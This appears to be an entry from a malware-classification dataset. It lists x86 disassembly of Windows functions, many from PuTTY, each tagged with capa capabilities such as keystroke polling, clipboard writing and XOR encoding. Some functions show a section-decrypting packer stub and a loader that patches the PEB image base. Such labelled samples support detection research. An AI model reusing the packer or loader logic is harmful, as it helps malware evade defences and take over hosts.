joyce8/EMBER2024-capa huggingface dataset:
Function at 0x418de0
Capabilities:
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
push 0x200
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
mov edx, eax
cmovae ecx, dword [ebp + 8]
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x418e12
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov edx, dword [ebp + 0x1c]
pop esi
cmp edx, 0x10
jb 0x418e6c
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x418e62
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x418e62
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.004235ae
add esp, 8
pop ebp
ret

Function at 0x4193c0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x43300c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x100
lea eax, [ebp - 0x104]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp + 0xc]
mov edx, 0x100
push eax
push ecx
push dword [ebp + 8]
lea ecx, [ebp - 0x104]
call fcn.00404980
add esp, 0xc
lea eax, [ebp - 0x104]
push 0x10
push str.Error
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
nop dword [eax]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp dword [pe_dos_header]

Function at 0x419670
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm3, xmm0, 0
test edx, edx
jle 0x419712
cmp edx, 0x40
jb 0x419702
movaps xmm2, xmmword [0x42c5f0]
lea ecx, [esi + 0x20]
push edi
mov edi, edx
and edi, 0xffffffc0
nop dword [eax]
movups xmm0, xmmword [ecx - 0x20]
lea ecx, [ecx + 0x40]
add eax, 0x40
movaps xmm1, xmm3
paddb xmm0, xmm3
pxor xmm0, xmm2
movups xmmword [ecx - 0x60], xmm0
movups xmm0, xmmword [ecx - 0x50]
paddb xmm1, xmm0
pxor xmm1, xmm2
movups xmmword [ecx - 0x50], xmm1
movups xmm0, xmmword [ecx - 0x40]
paddb xmm0, xmm3
pxor xmm0, xmm2
movups xmmword [ecx - 0x40], xmm0
movups xmm0, xmmword [ecx - 0x30]
paddb xmm0, xmm3
pxor xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
cmp eax, edi
jl 0x4196b0
pop edi
cmp eax, edx
jge 0x419712
mov cl, byte [eax + esi]
add cl, bl
xor cl, 0xa0
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x419702
pop esi
pop ebx
pop ebp
ret
Function at 0x419720
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm3, xmm0, 0
test edx, edx
jle 0x4197c2
cmp edx, 0x40
jb 0x4197b2
movaps xmm2, xmmword [0x42c5f0]
lea ecx, [esi + 0x20]
push edi
mov edi, edx
and edi, 0xffffffc0
nop dword [eax]
movups xmm0, xmmword [ecx - 0x20]
lea ecx, [ecx + 0x40]
add eax, 0x40
movaps xmm1, xmm2
pxor xmm0, xmm2
psubb xmm0, xmm3
movups xmmword [ecx - 0x60], xmm0
movups xmm0, xmmword [ecx - 0x50]
pxor xmm1, xmm0
psubb xmm1, xmm3
movups xmmword [ecx - 0x50], xmm1
movups xmm0, xmmword [ecx - 0x40]
pxor xmm0, xmm2
psubb xmm0, xmm3
movups xmmword [ecx - 0x40], xmm0
movups xmm0, xmmword [ecx - 0x30]
pxor xmm0, xmm2
psubb xmm0, xmm3
movups xmmword [ecx - 0x30], xmm0
cmp eax, edi
jl 0x419760
pop edi
cmp eax, edx
jge 0x4197c2
mov cl, byte [eax + esi]
xor cl, 0xa0
sub cl, bl
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x4197b2
pop esi
pop ebx
pop ebp
ret
Function at 0x41ca20
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [ebp + 8]
mov ecx, 0
sub esi, edi
je 0x41ca51
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x41ca40
pop edi
mov eax, edx
pop esi
pop ebp
ret 8
Function at 0x4107ab
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff78
mov eax, dword fs:[0x30]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x427000
mov dword [ebp - 0x48], 0x4d746547
mov dword [ebp - 0x44], 0x6c75646f
mov dword [ebp - 0x40], 0x6e614865
mov dword [ebp - 0x3c], 0x57656c64
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x58], 0x50746547
mov dword [ebp - 0x54], 0x41636f72
mov dword [ebp - 0x50], 0x65726464
mov dword [ebp - 0x4c], 0x7373
mov dword [ebp - 0x68], 0x74726956
mov dword [ebp - 0x64], 0x416c6175
mov dword [ebp - 0x60], 0x636f6c6c
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x78], 0x74726956
mov dword [ebp - 0x74], 0x506c6175
mov dword [ebp - 0x70], 0x65746f72
mov dword [ebp - 0x6c], 0x7463
mov dword [ebp - 0x88], 0x74726956
mov dword [ebp - 0x84], 0x516c6175
mov dword [ebp - 0x80], 0x79726575
mov dword [ebp - 0x7c], 0
lea eax, [ebp - 0x48]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x68]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x78]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x88]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
push 5
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 4]
call fcn.004103e3
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 8]
call fcn.00410696
mov dword [ebp - 0xc], eax
mov eax, dword fs:[0]
mov ebx, dword [eax]
cmp ebx, 0xffffffff
je 0x4108d6
mov eax, ebx
jmp 0x4108cb
mov dword fs:[0], eax
mov ebx, dword fs:[0x30]
mov eax, dword [ebp - 0xc]
mov dword [ebx + 8], eax
mov eax, dword [ebx + 0xc]
mov eax, dword [eax + 0xc]
cmp eax, 0
je 0x410908
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 4]
jne 0x410904
mov ecx, dword [ebp - 0xc]
mov dword [eax + 0x18], ecx
jmp 0x410908
mov eax, dword [eax]
jmp 0x4108ef
wait
fninit
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0xc]
mov edx, eax
xor ecx, ecx
mov ebx, dword fs:[0x30]
call edx
leave
ret

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x544d1e18
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data_1
nop
mov ebx, 0x42e1d0
mov ecx, 0x2c5e2f41
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x4046f0
Capabilities:
Get geographical location
Get keyboard layout
Hide graphical window
Link many functions at runtime

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x44
mov edi, dword [esp + 0x58]
mov esi, dword [esp + 0x5c]
mov eax, dword [0x501034]
xor eax, esp
mov dword [esp + 0x40], eax
call fcn.0043bf50
mov dword [0x501be8], edi
mov dword [0x501be4], esi
call fcn.004352b0
call fcn.0041fd00
call fcn.00424940
call fcn.0041dc20
call fcn.0043d2f0
cmp dword [0x504304], 4
jb 0x404748
jne 0x404758
cmp dword [0x50430c], 2
je 0x404758
push str.MSWHEEL_ROLLMSG
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
mov dword [section..data], eax
call fcn.0040b280
push str.user32.dll
call fcn.0043bfb0
add esp, 4
mov esi, eax
push str.winmm.dll
call fcn.0043bfb0
add esp, 4
invalid

Function at 0x405f20
Capabilities:
Read file via mapping

Disassembly:
push ebx
push esi
sub esp, 0x20
mov eax, dword [esp + 0x2c]
mov ecx, dword [0x501034]
xor ecx, esp
mov dword [esp + 0x1c], ecx
cmp byte [eax], 0x26
jne 0x405fc2
add eax, 1
mov ecx, esp
lea edx, [esp + 4]
push ecx
push edx
push 0x4def6d
push eax
call fcn.00405ff0
add esp, 0x10
cmp eax, 2
jne 0x405fc2
push dword [esp]
push 0
push 0
push 4
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test eax, eax
je 0x405fbb
mov eax, dword [esp + 0x30]
mov ecx, dword [esp]
mov dword [esp + 8], esi
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0
mov dword [esp + 0x14], 0
lea ecx, [esp + 8]
mov dword [esp + 0x18], ecx
push ecx
push eax
call fcn.004389a0
add esp, 8
test al, al
je 0x405fd7
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
setne bl
jmp 0x405fc4
xor ebx, ebx
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.0049f6f0
mov eax, ebx
add esp, 0x20
pop esi
pop ebx
ret
push str.Serialised_configuration_data_was_invalid
call fcn.00405390
int3

Function at 0x406150
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
push ebx
push edi
push esi
cmp dword [esp + 0x14], 2
jne 0x4061fd
mov ebp, dword [esp + 0x1c]
lea eax, [ebp + 1]
push eax
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
test eax, eax
je 0x4061fd
mov esi, eax
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x4061fd
mov edi, eax
mov bl, byte [esp + 0x20]
push ebp
push dword [esp + 0x1c]
push eax
call fcn.004a1ed0
add esp, 0xc
mov byte [edi + ebp], 0
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
test bl, bl
jne 0x4061bf
push 0
push 1
push 0x8002
push dword [0x501004]
call dword [sym.imp.USER32.dll_SendMessageA]
push dword [0x501004]
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x406202
call dword [sym.imp.USER32.dll_EmptyClipboard]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
test bl, bl
jne 0x4061fd
push 0
push 0
push 0x8002
push dword [0x501004]
call dword [sym.imp.USER32.dll_SendMessageA]
pop esi
pop edi
pop ebx
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
test bl, bl
je 0x4061e8
jmp 0x4061fd
Function at 0x40a960
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
sub esp, 0x104
mov eax, dword [0x501034]
xor eax, esp
mov dword [esp + 0x100], eax
mov eax, esp
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
test eax, eax
je 0x40a995
cmp byte [esp + 0x12], 0
js 0x40a999
mov bl, byte [esp + 0xa5]
shr bl, 7
jmp 0x40a99b
xor ebx, ebx
jmp 0x40a99b
mov bl, 1
mov ecx, dword [esp + 0x100]
xor ecx, esp
call fcn.0049f6f0
mov eax, ebx
add esp, 0x104
pop ebx
ret
Function at 0x40b280
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
cmp byte [0x502e34], 0
je 0x40b28c
pop esi
ret
mov byte [0x502e34], 1
push str.hhctrl.ocx
call fcn.0043bfb0
add esp, 4
mov esi, eax
test eax, eax
je 0x40b2e3
push str.HtmlHelpA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x502e38], eax
test eax, eax
je 0x40b2ed
cmp byte [0x502e49], 0
jne 0x40b34a
mov byte [0x502e49], 1
cmp byte [0x502e2c], 1
jne 0x40b2f6
mov eax, dword [0x502e30]
test eax, eax
jne 0x40b318
jmp 0x40b34a
mov dword [0x502e38], 0
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop esi
ret
mov byte [0x502e2c], 1
push 0x7d0
push 0x7d0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [0x502e30], eax
test eax, eax
je 0x40b34a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [0x502e4c], eax
test eax, eax
je 0x40b34a
push dword [0x502e30]
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40b34a
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [0x502e44], eax
jmp 0x40b34f
mov eax, dword [0x502e44]
test eax, eax
jne 0x40b28a
push 0
push str.SoftwareSimonTathamPuTTY64CHMPath
push 0x80000002
call fcn.0043c540
add esp, 0xc
test eax, eax
jne 0x40b38b
push 0
push str.SoftwareSimonTathamPuTTYCHMPath
push 0x80000002
call fcn.0043c540
add esp, 0xc
test eax, eax
je 0x40b28a
mov dword [0x502e3c], eax
mov byte [0x502e40], 0
pop esi
ret

Function at 0x40b3a0
Capabilities:
Delete file

Disassembly:
mov eax, dword [0x502e3c]
test eax, eax
je 0x40b3d3
cmp byte [0x502e40], 1
jne 0x40b3d5
push 0
push 0x12
push 0
push 0
call dword [0x502e38]
push dword [0x502e3c]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [0x502e3c]
jmp 0x40b3d5
xor eax, eax
push eax
call fcn.00439860
add esp, 4
mov dword [0x502e3c], 0
mov byte [0x502e40], 0
ret
Function at 0x40b400
Capabilities:
Delete file
Get common file path
Write file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x114
mov eax, dword [0x501034]
xor eax, esp
mov dword [esp + 0x110], eax
mov eax, dword [0x502e3c]
test eax, eax
jne 0x40b55a
cmp dword [0x502e44], 0
je 0x40b55a
xor esi, esi
cmp byte [0x502e50], 0
jne 0x40b54c
mov byte [0x502e50], 1
lea edi, [esp + 0xa]
push edi
push 0x106
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x40b54c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebp, eax
push 0
push 0
push eax
push edi
push str._sputty__lu__llu.chm
call fcn.00438d90
add esp, 0x14
mov esi, eax
push 0
push 0x80
push 1
push 0
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x40b506
mov dword [esp], ebp
xor ebp, ebp
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
jne 0x40b54c
push esi
call fcn.00439860
add esp, 4
add ebp, 1
adc edi, 0
push edi
push ebp
push dword [esp + 8]
lea eax, [esp + 0x16]
push eax
push str._sputty__lu__llu.chm
call fcn.00438d90
add esp, 0x14
mov esi, eax
push 0
push 0x80
push 1
push 0
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x40b4b0
mov ebx, eax
xor edi, edi
mov ebp, dword [0x502e44]
mov eax, dword [0x502e4c]
sub eax, edi
jbe 0x40b5c4
mov dword [esp + 4], 0
lea ecx, [edi + ebp]
push 0
lea edx, [esp + 8]
push edx
push eax
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
add edi, dword [esp + 4]
test eax, eax
jne 0x40b510
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x40b5d3
push esi
call fcn.00439860
add esp, 4
mov eax, dword [0x502e3c]
test eax, eax
je 0x40b5ab
mov ecx, dword [esp + 0x12c]
mov edi, dword [esp + 0x128]
test ecx, ecx
je 0x40b598
push ecx
push eax
push str._s::__s.html_main
call fcn.00438d90
add esp, 0xc
mov esi, eax
push 0
push 0
push eax
push edi
call dword [0x502e38]
push esi
call fcn.00439860
add esp, 4
jmp 0x40b5a4
push 0
push 0
push eax
push edi
call dword [0x502e38]
mov byte [0x502e48], 1
mov ecx, dword [esp + 0x110]
xor ecx, esp
call fcn.0049f6f0
add esp, 0x114
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [0x502e3c], esi
mov byte [0x502e40], 1
xor esi, esi
push esi
call fcn.00439860
add esp, 4
cmp ebx, 0xffffffff
je 0x40b555
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40b555
Function at 0x415ba0
Capabilities:
Contain obfuscated stackstrings
Parse credit card information
Resolve function by parsing pe exports

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x112c], 2
jl 0x415bff
mov eax, dword [esp + 0xc]
cmp dword [esi + 0x1124], eax
jne 0x415bff
mov dword [esi + 0xe28], 0
mov dword [esi + 0xe34], 0
mov dword [esi + 0xe38], 0
mov dword [esi + 0xe3c], 0
mov dword [esi + 0xe40], 0
push esi
call fcn.0040b640
add esp, 4
mov ecx, esi
xor edx, edx
pop esi
jmp fcn.00412070
pop esi
ret

Function at 0x41dc20
Capabilities:
Hide graphical window

Disassembly:
push esi
push 0
push 0x41dc60
push 0
push 0x6f
push dword [0x501be8]
call dword [sym.imp.USER32.dll_CreateDialogParamA]
mov esi, eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_SetActiveWindow]
push esi
call dword [sym.imp.USER32.dll_DestroyWindow]
pop esi
ret

Function at 0x41e780
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [0x502e6c]
test eax, eax
jne 0x41e7b5
push 0
push 0x41e7c0
push dword [esp + 0xc]
push 0x6e
push dword [0x501be8]
call dword [sym.imp.USER32.dll_CreateDialogParamA]
mov dword [0x502e6c], eax
push 1
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x502e6c]
push eax
call dword [sym.imp.USER32.dll_SetActiveWindow]
ret
Function at 0x4260b0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push edi
push esi
cmp dword [0x503b44], 0
jne 0x4260eb
push 0x426200
call fcn.0043a970
add esp, 4
mov dword [0x503b44], eax
push 0x426260
call fcn.0043a970
add esp, 4
mov dword [0x503b48], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x503b40], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x503b40], eax
push 0
push dword [0x503b44]
call fcn.0043b130
add esp, 8
test eax, eax
je 0x426199
mov esi, eax
mov edi, dword [esp + 0x14]
jmp 0x42614f
push 0
push dword [0x503b44]
call fcn.0043b740
add esp, 8
push esi
call fcn.00439860
add esp, 4
push 0
push dword [0x503b44]
call fcn.0043b130
add esp, 8
mov esi, eax
test eax, eax
je 0x426199
push 0
push dword [esi + 4]
push dword [0x503b48]
call fcn.0043b700
add esp, 0xc
test eax, eax
je 0x426120
mov ecx, dword [0x503b40]
mov eax, dword [esi + 8]
mov edx, dword [esi + 0xc]
add edx, 0xfffffff6
sub ecx, edx
mov ebx, eax
sub ebx, edx
cmp ecx, ebx
jbe 0x42619d
push 0
push dword [0x503b44]
call fcn.0043b740
add esp, 8
push dword [esi + 8]
push dword [esi + 4]
call dword [esi]
jmp 0x42612d
xor eax, eax
jmp 0x4261a1
mov dword [edi], eax
mov al, 1
pop esi
pop edi
pop ebx
ret

Function at 0x429240
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x270
mov edi, dword [esp + 0x284]
mov eax, dword [0x501034]
xor eax, esp
mov dword [esp + 0x26c], eax
lea esi, [esp + 0x25]
push 0x107
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
call fcn.004b2d70
add esp, 4
mov word [esp + eax + 0x25], 0x2a5c
mov byte [esp + eax + 0x27], 0
lea ebx, [esp + 0x12c]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x4292ba
mov esi, eax
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextFileA]
push 0x140
push ebx
call edi
add esp, 8
push ebx
push esi
call ebp
test eax, eax
jne 0x4292a0
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [esp], eax
mov eax, esp
push 4
push eax
call edi
add esp, 8
lea esi, [esp + 5]
push 0x20
push esi
call fcn.00429130
add esp, 8
test al, al
je 0x4292f3
push 0x20
push esi
call edi
add esp, 8
push 0x20
push esi
call fcn.00467170
add esp, 8
push edi
call fcn.00434ad0
add esp, 4
mov ecx, dword [esp + 0x26c]
xor ecx, esp
call fcn.0049f6f0
add esp, 0x270
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x429320
Capabilities:
Get memory capacity

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x54
mov eax, dword [0x501034]
xor eax, esp
mov dword [esp + 0x50], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [esp + 0x2c], eax
lea esi, [esp + 0x2c]
push 4
push esi
push 9
call fcn.00428ed0
add esp, 0xc
call dword [sym.imp.USER32.dll_GetCapture]
mov dword [esp + 0x2c], eax
push 4
push esi
push 0xa
call fcn.00428ed0
add esp, 0xc
call dword [sym.imp.USER32.dll_GetClipboardOwner]
mov dword [esp + 0x2c], eax
push 4
push esi
push 0xb
call fcn.00428ed0
add esp, 0xc
push 0x1cbf
call dword [sym.imp.USER32.dll_GetQueueStatus]
mov dword [esp + 0x28], eax
lea eax, [esp + 0x28]
push 4
push eax
push 0xc
call fcn.00428ed0
add esp, 0xc
lea esi, [esp + 0x20]
push esi
call dword [sym.imp.USER32.dll_GetCursorPos]
push 8
push esi
push 0xd
call fcn.00428ed0
add esp, 0xc
mov esi, esp
push esi
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push 0x20
push esi
push 6
call fcn.00428ed0
add esp, 0xc
lea ebp, [esp + 0x48]
lea ebx, [esp + 0x40]
lea edi, [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea esi, [esp + 0x30]
push ebp
push ebx
push edi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
push 0x20
push esi
push 0xe
call fcn.00428ed0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push ebp
push ebx
push edi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push 0x20
push esi
push 0xf
call fcn.00428ed0
add esp, 0xc
mov ecx, dword [esp + 0x50]
xor ecx, esp
call fcn.0049f6f0
add esp, 0x54
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x434ad0
Capabilities:
Read file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x408
mov eax, dword [0x501034]
xor eax, esp
mov dword [esp + 0x404], eax
mov ecx, 1
call fcn.00434b80
cmp eax, 0xffffffff
je 0x434b59
mov esi, eax
mov eax, esp
lea ebx, [esp + 4]
push 0
push eax
push 0x400
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x434b52
mov eax, dword [esp]
test eax, eax
je 0x434b52
mov ebp, dword [esp + 0x41c]
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
push ebx
call ebp
add esp, 8
push 0
lea eax, [esp + 4]
push eax
push 0x400
push ebx
push esi
call edi
test eax, eax
je 0x434b52
mov eax, dword [esp]
test eax, eax
jne 0x434b30
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x404]
xor ecx, esp
call fcn.0049f6f0
add esp, 0x408
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x434b80
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x214
mov esi, ecx
mov eax, dword [0x501034]
xor eax, esp
mov dword [esp + 0x210], eax
push 0
push str.SoftwareSimonTathamPuTTY
push 0x80000001
push 0
push 0
call fcn.0043c110
add esp, 0x14
test eax, eax
je 0x434bf7
mov ebx, eax
push str.RandSeedFile
push eax
call fcn.0043c340
add esp, 8
mov edi, eax
push ebx
call fcn.0043c1e0
add esp, 4
test edi, edi
je 0x434bf7
mov eax, esp
mov ecx, edi
mov edx, esi
push eax
call fcn.00435220
add esp, 4
mov ebx, eax
push edi
call fcn.00439860
add esp, 4
test bl, bl
jne 0x434dad
cmp byte [0x503bb0], 0
je 0x434c0f
mov ecx, dword [0x503bb8]
test ecx, ecx
jne 0x434c4c
jmp 0x434cdd
push str.shell32.dll
call fcn.0043bfb0
add esp, 4
mov dword [0x503bb4], eax
test eax, eax
je 0x434c35
push str.SHGetFolderPathA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
jmp 0x434c37
xor ecx, ecx
mov dword [0x503bb8], ecx
mov byte [0x503bb0], 1
test ecx, ecx
je 0x434cdd
lea ebp, [esp + 0x10b]
push ebp
push 0
push 0
push 0x1c
push 0
call ecx
test eax, eax
js 0x434c96
push 0
push str.PUTTY.RND
push ebp
call fcn.00438b80
add esp, 0xc
mov edi, eax
mov eax, esp
mov ecx, edi
mov edx, esi
push eax
call fcn.00435220
add esp, 4
mov ebx, eax
push edi
call fcn.00439860
add esp, 4
test bl, bl
jne 0x434dad
push ebp
push 0
push 0
push 0x1a
push 0
call dword [0x503bb8]
test eax, eax
js 0x434cdd
push 0
push str.PUTTY.RND
push ebp
call fcn.00438b80
add esp, 0xc
mov edi, eax
mov eax, esp
mov ecx, edi
mov edx, esi
push eax
call fcn.00435220
add esp, 4
mov ebx, eax
push edi
call fcn.00439860
add esp, 4
test bl, bl
jne 0x434dad
lea eax, [esp + 0x10b]
mov ebp, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push 0x104
push eax
push str.HOMEDRIVE
call ebp
mov edi, eax
lea ebx, [esp + 7]
push 0x104
push ebx
push str.HOMEPATH
call ebp
test edi, edi
jne 0x434d16
mov byte [esp + 0x10b], 0
cmp edi, 0x103
ja 0x434d63
cmp eax, 0x103
ja 0x434d63
test eax, eax
je 0x434d63
push 0
push str.PUTTY.RND
push ebx
lea ebp, [esp + 0x117]
push ebp
call fcn.00438b80
add esp, 0x10
mov edi, eax
mov eax, esp
mov ecx, edi
mov edx, esi
push eax
call fcn.00435220
add esp, 4
mov ebx, eax
push edi
call fcn.00439860
add esp, 4
test bl, bl
jne 0x434dad
jmp 0x434d6a
lea ebp, [esp + 0x10b]
push 0x104
push ebp
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
cmp eax, 0x104
jae 0x434db2
push 0
push str.PUTTY.RND
push ebp
call fcn.00438b80
add esp, 0xc
mov edi, eax
mov eax, esp
mov ecx, edi
mov edx, esi
push eax
call fcn.00435220
add esp, 4
mov ebx, eax
push edi
call fcn.00439860
add esp, 4
test bl, bl
je 0x434db2
mov esi, dword [esp]
jmp 0x434db7
mov esi, 0xffffffff
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0049f6f0
mov eax, esi
add esp, 0x214
pop esi
pop edi
pop ebx
pop ebp
ret